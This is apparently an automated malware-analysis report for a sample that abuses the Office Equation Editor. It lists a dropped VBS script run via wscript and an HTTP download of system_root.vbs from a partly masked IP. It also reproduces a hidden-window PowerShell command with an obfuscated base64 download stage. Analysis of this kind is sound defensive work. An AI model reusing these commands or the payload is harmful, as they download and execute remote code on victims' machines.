Technical Information
Malicious functions
Creates and executes the following (exploit)
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\system32.vbs"
Downloads and executes files.
Modifies file system
Creates the following files
- %TEMP%\system32.vbs
Network activity
Connects to
- '19#.#.243.150':80
TCP
HTTP GET requests
- http://19#.#.243.150/500/system_root.vbs
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBy⁂GU⁂Z⁂⁂t⁂Hc⁂aQBs⁂GQ⁂ZgBs⁂G8⁂dwBl⁂HI⁂LQ⁂x⁂GI⁂M⁂Bh⁂GY⁂N⁂⁂v⁂G8⁂cgBp⁂...' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBy⁂GU⁂Z⁂⁂t⁂Hc⁂aQBs⁂GQ⁂ZgBs⁂G8⁂dwBl⁂HI⁂LQ⁂x⁂GI⁂M⁂Bh⁂GY⁂N⁂⁂v⁂G8⁂cgBp⁂...
